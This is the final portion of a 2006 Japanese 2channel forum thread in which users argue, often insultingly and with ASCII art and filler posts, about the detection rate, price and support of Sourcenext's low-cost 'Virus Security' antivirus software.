838 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:09:57
エロゲやるなら危ないじゃん

839 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:11:43
>>836
でも2ちゃんに貼られたり、エロサイト巡りも危ないよ。エロゲ欲しさについつい共有ソフトに手を出したり・・・
そして信者がアンチに変わるんだろうね。感染したときにカスタマーセンターに電話して
VS使ってますって言ったらあっちは「あー」だからね。ネットに詳しい人への信頼0だからね

840 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:13:36
>名無しさん@お腹いっぱい。 :2006/08/16(水) 23:57:43
>>774
>こりゃ原爆投下ですな
>年内には日本でも発売みたいだからアンチだとか社員だとか言う前に終戦だな

>http://japan.cnet.com/news/sec/story/0,2000056024,20201347,00.htm


>流れを見ているとむりやり情報を流してしまいたい人もいるようだが玉音放送は何度でも流すからそのつもりで
>それじゃあまた明日

↑まるで、自分がソフトを作りリリースするみたいな言い方するアホ

こういうのを
「虎の威を借るバカ」と言うw


841 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:13:40
現状何のアンチウイルスを入れてないユーザーや
ロクに定義を更新していないユーザーが蔓延している中で
VSが普及したら日本のセキュリティが低下するなんて考えは
ほとんど妄想レベル。

842 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:13:59
掲示板はもちろん出版物でも検出率の低さは言われてるからな。
本当は大手と同等の検出率があるならソースは名誉毀損で訴えるんじゃないか。
これだけ掲示板等で言われたら売り上げにも影響しそうだし。

843 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:14:30



なんだか、どうしようもない馬鹿なアンチが居ついてしまいましね。
馬鹿なアンチに煽られて過剰に擁護しちゃう馬鹿も出て来ている始末。
罵り合って虚しくないのかね。こんな所に勝ち負けなんて無いよ。




844 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:16:00
あれ、みんなで遊んでんじゃないの?

845 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:16:52


======休 戦 協 定 締 結!!=======

846 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:16:50
今後、VSの時代が来ると思う。
NO,1シェアーは、間違いない

他社のソフトは、高すぎる。


847 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:17:07
>>843
勝ち負け無いなら無駄に空白作って自分のレスを目立たせようとするな

848 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:17:11
>>841
いやVSを入れるから問題なんだよ
フリーのAntiVir, Avast, AVGのどれかを入れてれば問題はない


849 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:17:53
ソースさん、もっと頑張ってよ!
VSが馬鹿にされて俺は悔しいよ…
アンチの奴らが何も言えなくなるようなソフトになって下さい!!

850 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:18:17
>>846
フリーにも負けてるのにwww
フリーはあなたにとって高すぎなんですか?俺にとっては2000円のほうが高いな

851 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:18:55
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

852 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:19:42
>>848
フリーを使っていたら、貧乏人と馬鹿にされて悔しかったのか?
いちいち他人が使っているソフトに、とやかく言うなよ、変人。

853 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:20:13
>>834
シェアを上げているソー○がシェアを落としてる○カフィーを○収、なんてことになったら(;´Д`)ハァハァ

854 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:20:29


======休 戦 協 定 締 結!!=======


855 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:21:12
貧乏人w

856 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:21:12
>>849
今のVSはアンチがなんか言っても信者、支持者は何も言えない。だから>>851のように
「だから、アンチには使ってくれとは一言も言ってない。 もう荒らしはいいから、さっさと退場しろ! 」
を繰り返すばかり


857 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:21:58
自演乙!

858 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:22:34
自演キター!!

859 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:22:50
社員乙!

860 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:23:13
>>856
おまえみたいな阿呆に何を言っても無駄だと思って静観している使用者は多いと思うぞ。

861 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:23:18



======第 三 次 休 戦 協 定 締 結!!=======

862 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:23:54
平和だ!

863 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:24:29
これからは仲良くしようぜ!

864 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:24:31
ヘイワダナー

865 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:26:10
平和ばんざい!

866 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:26:32

戦争は終わった・・・・

神よ、この平和をいつまでも続けたまえ

867 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:26:42
ついに社員が和解を求めてきた。眠くなったな
もう終わりか、今日は一段と煽りが面白かった。ここはいい釣堀だ。暇つぶしに最適
さて明日はどっちにつこうかな

868 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:27:11
ソース社長の「ソフトを安くして皆に届ける」って精神は賞賛に値するけどね
ただ実態が伴ってないだけで…

>>853
有り得ないと思うがw まあマカフィーに戻ればソースの評価も変わるだろ
しかしマカフィーシェア低下の理由には、単にソースの躍進だけじゃなくて
最近のマカフィークライアントの仕様上の問題点も挙げられると思うんで
仮にマカフィー製品を売る事になってもそれはそれで課題を抱えるけどな

869 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:28:21
悪いが俺は退場しないぞ。
毎年高い更新料を払っている自分が、如何に正しい判断
をしているか知らしめてやるから覚悟しておけよ。

870 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:30:26
もう、明日から仕事だろ?
寝ようぜ

871 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:30:32
金原って更新してるの?
マイジャンでマイル化成で更新する八つが勝ちグミ

872 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:30:39
いつになったら数字と根拠が出るんだよ

873 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:30:47
>>867
釣り宣言しておきながら社員とか言い出すお前の知性に脱帽

874 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:31:57
>>870
相手が案外素人じゃなかったので焦って眠らせようとする社員カワユス

875 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:32:06
>>870
仕事は来週からでつ。
普通は9連休でねえの?

876 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:33:06
3流会社は明日から仕事なのか

877 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:34:12
でソースはいつから仕事?

878 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:34:58
>>853
一部上場すらしていないソースがどうやって業界世界第二位のMcAfee Inc.を買収できんだよ
無知を超越しすぎていて不愉快すぎる

879 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:35:44
くだらん

880 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:35:48
決定的な証拠でもない限り社員とか工作員とか関係者とかのレッテル張りは
煽りの応酬にしかならない虚しい行為だとはよ気付け。
今現在はっきりしている事は
・VSはシェアを伸ばしている
・検出率を含めて一般利用には全く問題なし
・アンチの知性は低い
・利用者は誠実な人が多い

881 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:36:33
>>878
つソース信者の知識

882 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:37:21
ウイルスセキュリティ 万歳

883 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:37:41
>>880
>・利用者は誠実な人が多い

ここ笑うところ?
笑っていい?

884 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:38:05
ニートとかリストラされている人はいいなー

885 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:38:38
だから、アンチには使ってくれとは一言も言ってない。
もう荒らしはいいから、さっさと退場しろ!

886 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:39:23
VSユーザーは
アンチみたいにひねくれている人は、少ないと思うよ

887 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:39:24
>>880
> ・VSはシェアを伸ばしている
> ・利用者は誠実な人が多い

これは認めるが、他は却下(根拠がない)
だが2chだから許す

888 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:40:43
>>883
確かに誠実と言えば聞こえはいいが、ただ騙されてるだけのソースからすればいい鴨だよ
ソースは売り方がうまいから。シェア伸ばしてるのもそれだけが理由だからね

889 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:41:48
宗教に洗脳されてるようなもんか

890 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:42:22
>>880
ライトユーザーがひっかかるWinAntiVirusに対応しない欠陥ソフト

891 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:42:28
今現在はっきりしている事は
・VSはシェアを伸ばしている
・検出率の悪さは致命的だが2chやアダルトサイトやP2Pソフトの利用を避けて気合で乗り切れ
・アンチの知性はセキュリティ板の平均以上
・利用者に扮した工作員が多い

892 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:43:59
>悪いが俺は退場しないぞ。
 毎年高い更新料を払っている自分が、如何に正しい判断
 をしているか知らしめてやるから覚悟しておけよ。


結局これがアンチの正体じゃん。



893 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:45:05
VB100%がどうこうより
http://vista.xii.jp/img/vi5574288186.jpg
こんな画面を流出させて恥をかきたくないだろ?
検出率に問題がある証拠。明らかに一般利用にも支障が出る。
P2Pとか関係ないわけ。このウイルスを掲示板に貼り付けたら同じ事が起きるんだから。
アップローダーに画像を挙げるタイプはこうなる。

894 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:45:51
Q こんなに安くて大丈夫?
A 高性能がポリシーです
ハリウッドの超大作映画は、莫大な製作費だからと入場料が高いでしょうか。
ソースネクストのパソコンソフトもそれと同じで、品質と価格が比例しないしくみを実現しています。

どんな仕組みか教えてくれ

895 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:45:54

VS利用者=勇気がなくて踏めない人のための鑑定スレ住人

896 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:46:11
> ・検出率の悪さは致命的だが2chやアダルトサイトやP2Pソフトの利用を避けて気合で乗り切れ

お前矛盾してるだろw
それに2chに来る奴はnyユーザーの確率が高い

897 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:46:17
ウイルスセキュリティにこのスレのアンチを撃退する
アンチアンチを搭載して下さい。

898 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:46:51
>>892
え、これVSユーザーのことだと思ってたんだが。ここZEROスレじゃないよな。
毎年1980円もの更新料を払うなんてフリーユーザーからすれば失笑もんだよ。

899 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:48:23
>>893
これは酷い
VSからかわれすぎw

900 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:48:46
結論、アンチはニートが多い

901 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:48:48
>>893
お、人工少女じゃん。なんか懐かしいな
やっぱ今はshareだよな。nyよりも速いし

902 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:49:41
どうでも良いけど次スレたてる前にこっちを先に消費しろよ
http://pc7.2ch.net/test/read.cgi/software/1149851425/

903 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:52:28
いよいよpart23か・・・・
こんなにスレ進行が早いのは
ウイルスセキュリティが注目されている証拠だな

904 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:53:45
アンチ=PCオタ

905 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:54:29
まあ、ここに来るのは、狂人も多いし。
こんな連中にもソフトを買われた以上、
サポートしてやらねばならないソースの人間が可哀想だな・・・・

906 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:56:13
>>905
何が起きても「再インスコしてください」だから

907 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:57:25
>>903
スレ読み返してみろ。
ゴミスレだ。

908 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:57:31
いや、アンチの殆どは買ってないだろ

909 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:59:13
自分で買わなくても、買った愚か者の尻拭いをさせられる事はあるけどな

910 :名無しさん@お腹いっぱい。:2006/08/17(木) 00:59:39
>>908
だからシェアの伸びも頭打ち

911 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:00:13
>>905
お前サポート使ったことある?
不具合のメールを送って返事が12日後だよ。
もうとっくにアンインストールした後だ。返金したけどね。
体験版にせよ7日しか期限がないのに返事が12日後。
返ってきた返事は再インストールしてください。だった。

912 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:02:18
ここで文句言う奴らは、ソフトもまともにインスコできないのかよー

913 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:02:20
>>911
どういう不具合があったの?

914 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:03:54
いい加減そろそろお前ら、NODスレにでも移ったらどうだ?

915 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:05:39
NODなんて既に格下だから。
もはや同等に語れる資格があるのはノートン、バスターぐらいだな。

916 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:06:48
>>914
ここは突っ込みどころ満載やん
寝苦しい夜にはちょうど良いw

917 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:08:43
同等に語れるのはキングくらいだろ

918 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:10:00
>>878
日本事業買収。
ソフトバンクがボーダフォンに対してやったでしょ。

919 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:10:02
>>917
じゃあ、そのままキングに張り付いてろ!!

オレは、V3にでも逝ってくるからよ

920 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:12:07

アンチのセキュ板総荒らし攻撃か・・・・

これじゃ、どこのソフトもたまったもんじゃねえな

921 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:14:22

ようやく、「嵐」は過ぎ去った・・・・か。

922 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:14:23
>>920
2chですから
どこも似たようなもんでしょ

923 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:14:40
梅毒多の事も忘れないで下さい

…いや、いくらウイルスセキュリティが糞でも梅毒多よりマシか
梅毒多と互角なのはWinAntiVirusぐらいだな

924 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:15:22
>>923
3つとも似たようなもん

925 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:18:07
さて、今日も楽しかったよ♪
また明日ねノシ

926 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:18:59
バイドクターを馬鹿にするのは差別主義者だけ。

927 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:20:43

最後に、ウイルスセキュリティZERO万歳!

928 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:23:55

漸くアラシは去ったか・・・
このような輩に引っかき回されて、ユーザーとしては非常に遺憾なことである
アンチの正体もよく分かった


929 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:26:57
>>928
真の巨悪乙!

930 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:28:37
今更アンチが茶々入れてもどうしようもない

931 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:29:19
こっちでも必死に擁護してる香具師がいるw
アホみたい
http://pc7.2ch.net/test/read.cgi/software/1149851425/

932 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:30:19
アンチの荒らしも、ところ構わず活動しているなー

933 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:32:38
>>932
自分は違うみたいなこと書くからビックリしたわw

934 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:34:14
>>933
で、君は何者だね?


935 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:34:58
オレだよオレオレ

936 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:35:00
結局みんな自分が使ってるソフトが
一番いいって思いたいんだろ?

937 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:35:22
933=暇な関西星人

938 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:36:47
ものの数ではないな・・・・
今ここに残留しているカスどもは

無視して差し支えなかろう

939 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:38:16
>>938
で、お前は何使ってるの?

940 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:38:32
>>934
それ言うと差し障りがあるから書かないけど
とりあえずこっちを先に消費してね
http://pc7.2ch.net/test/read.cgi/software/1149851425/

あと2chもアクセス記録は残るからね
発言の内容は自己責任で

941 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:38:33
>結局みんな自分が使ってるソフトが
>一番いいって思いたいんだろ?

そういうポリシーが有る奴はホントにここにいるのか疑問だ

942 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:39:13
いつになったら数字と根拠が出るんだよ!

943 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:40:28
>>940
それは、他の1980円ソフトも含むスレだろ?

944 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:40:30
アンチウイルスだけでも7種類使ってますが何か?

945 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:41:54
>>944

低性能を使うヤツほど、数を自慢するwww

946 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:43:21
>>943
サーバーの記録みたことある?
そういう質問するくらいだから無いよね

947 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:45:35
>>944
7種類も入れる必要あるの?マジで

948 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:46:44

            ___            実  強  ふ  き  V
          ,. -'''Y´:三三三::`ヽ、__           を.  く   ま  び  S
      /ミミミミミ三三三三彡彡ミヽ.       つ  ま.   れ  し  よ
    ___/:三:彡''"\ミ三三彡'~`ヾ、彡`、      け  っ   て  い
    {三三ヲ       ̄ ̄      ヾ彡\     る  す      冬  麦
   .!ミ彡〈                ヾ:彡:ヽ      ぐ  ふ  に.  じ
   {t彡彡〉               /彡彡}   麦   に  ま      ゃ
   {彡彡'ノ二ニ_‐-,    i-‐_.ニ二ヽ 彡彡ノ   に  の   れ  青
   /"'i:l  >┬o┬、i   iy┬o┬<  |:i'"V    な  び  て.  い
   | ハ|:|  `┴‐┴' {    }`┴‐┴'′ |:|ハ.l     る  て      芽
   | {..|:l  ` ̄ ̄┌|  ̄ |┐ ̄ ̄´  !|,,} |    .ん          を
    ヽ_||      └`----'┘      ||_ノ      じ           だ
      |  ヽ ヽ--―‐--―‐--/ /   |      ゃ           し
      \ ! \二二二二/ ! /       ,..-''"´ ̄`ヽ
       | \    ――    /lヽ       _」  ,/´    ヽ
     __/\   ヽ_____,i____ノ /井ヽ      く. `く   ,.-''´  ヽ
┬┬/ /井\           /井井|\┬r-、 `r‐ヘ. 〈   ,. -''" ヽ
t井/  /井井\.         /#井井ト、 \井ヽ. ヽ `''ヽ_〈 r┬ |
:井|  |ヽ 井井\        /:#井井|#ヽ ヽ井ヽ ヽ、__ゝ-'   |
井|  | #ヽ井井#\     /井井井|井tヽ ヽ井|ヽ   | l、   |
f#|  |井#ヽ:井井#\.    /#井井井|井井|  |井|井`ノ   ヽ   |
:#|  |井井ヽ井井井\ ,/井井井井|井井t|  |井#t/         |
#|  |井井#ヽ井井井#:/:井井井井|井井ff|  |井f/        |
f|  |井井井ヽ井井#/:#井井井井 / 井井井|  |井|        |


949 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:48:04
アンチウイルスじゃなくてセキュリティソフトだろ
それなら7種類入れててもおかしくない

950 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:50:40
>>944
高性能なめんな
ウイルスキラー
V3
ウイルスセキュリティ
キングソフト
バイドクター
WinAntiVirus
WinFixer

>>947
実際に使ってみないと判らない事もある

>>949
1台のPCに7本入れてる訳じゃない
常駐させるのは1台あたり1本
上に書いた7本はもちろん全部嘘だ

951 :名無しさん@お腹いっぱい。:2006/08/17(木) 01:51:22
自分にレスしてどうすんだよ俺

952 :名無しさん@お腹いっぱい。:2006/08/17(木) 02:35:42
嘘とかネタとか以前にWinFixerに至ってはアンチウイルスですらない

953 :名無しさん@お腹いっぱい。:2006/08/17(木) 06:17:27
驚速ストリーミングレコーダー欲しくなってきた

954 :名無しさん@お腹いっぱい。:2006/08/17(木) 07:41:44
そろそろ次ぎスレは?

955 :名無しさん@お腹いっぱい。:2006/08/17(木) 07:53:58
【ソース】ウイルスセキュリティ Part23【K7】
http://pc8.2ch.net/test/read.cgi/sec/1155768807/

956 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:40:39
  =  ∩
 == (θ  \
 === =3Φ )
 == (θ  /
  =  ∪


957 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:42:39
    /\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\



958 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:43:20
ume

959 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:50:39
検出率が低い=感染率が高い


960 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:53:35
検出率が低い=感染率が高い


961 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:53:53
ウメウメウメウメウメウメウメウメウメウメウメウメウメウメウメウメ
梅梅梅早く否定しようの無い>>959の事実を隠さなければ!梅梅梅
ウメウメウメウメウメウメウメウメウメウメウメウメウメウメウメウメ

962 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:54:36
検出率が低い=感染率が高い

963 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:55:06
基本は反復

検出率が低い=感染率が高い

964 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:55:15
検出率が低い=感染率が高い

965 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:55:47
基本は反復

検出率が低い=感染率が高い


966 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:55:55
検出率が低い=感染率が高い

967 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:57:00
検出率が低い=感染率が高い

968 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:57:45
検出率が低い=感染率が高い

969 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:58:27

    /\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\




970 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:58:37
他社ソフトの半分。フリーソフト以下!

検出率が低い=感染率が高い

971 :名無しさん@お腹いっぱい。:2006/08/17(木) 14:59:22
検出率が低い=感染率が高い

972 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:01:21
ume

973 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:02:50
基本は常識

検出率が低い=感染率が高い



974 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:03:31
基本は常識

検出率が低い=感染率が高い


975 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:04:02
/\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\



976 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:04:07
検出率が低い=感染率が高い

977 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:04:31

・注意事項  
必要以上の馴れ合いは慎しんでください
暴言や第3者を不快にさせるような発言はやめましょう
悪質な削除要請や自己中心的な発言はひかえましょう
人間的モラルやルール・ネットマナーに反した発言はやめましょう
犯罪の恐れがあるものをみつけたら通報しましょう。
都道府県警察本部のハイテク犯罪相談窓口
http://www.npa.go.jp/cyber/soudan.htm


978 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:04:42


    /\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\



979 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:04:43
検出率が低い=感染率が高い

980 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:05:49
基本はひとつ

検出率が低い=感染率が高い


981 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:06:14
他社ソフトの半分。フリーソフト以下!

検出率が低い=感染率が高い



982 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:06:30
基本はひとつ

検出率が低い=感染率が高い


983 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:08:18
犯罪の恐れは検出率が低いことにある

984 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:08:48
検出率が低い=感染率が高い



985 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:09:24
答えは
   犯罪の恐れは検出率が低いことにある




986 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:10:21
犯罪の恐れがあるもの=検出率が低いもの

987 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:11:14



    /\___/ヽ. 
   / 、,  ノ_ ヽ,,._,. \
  . |.  ≦゚≧,ミ::,≦゚≧ ::|
  |    ⌒( ._.)⌒  ::::|  
.   |  (,,,,,,,,,,人,,,,,,,_ノ .::|   
   \. ヽ 王王王ツ ::/ 
   /`ー‐--‐‐―´\



988 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:11:47
犯罪の恐れは検出率が低いことにある

989 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:12:48
基本は反復

検出率が低い=感染率が高い


990 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:15:41
基本は反復

検出率が低い=感染率が高い



991 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:15:41
ume

992 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:16:53
検出率が低いと感染して犯罪に巻き込まれる

993 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:17:25
検出率が低い=感染率が高い



994 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:22:09
低価格だけだけど、自信を持って構えろ!!

995 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:22:55
検出率が低い=感染率が高い

感染したあとの修理費が馬鹿にならない

996 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:23:16
自信を持って構えろ!!

997 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:23:57
うんこくさい?

998 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:24:13
半分諦めかけで感染してナンボの勢いで

999 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:24:34
ume

1000 :名無しさん@お腹いっぱい。:2006/08/17(木) 15:25:07
感染率100%

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

237 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)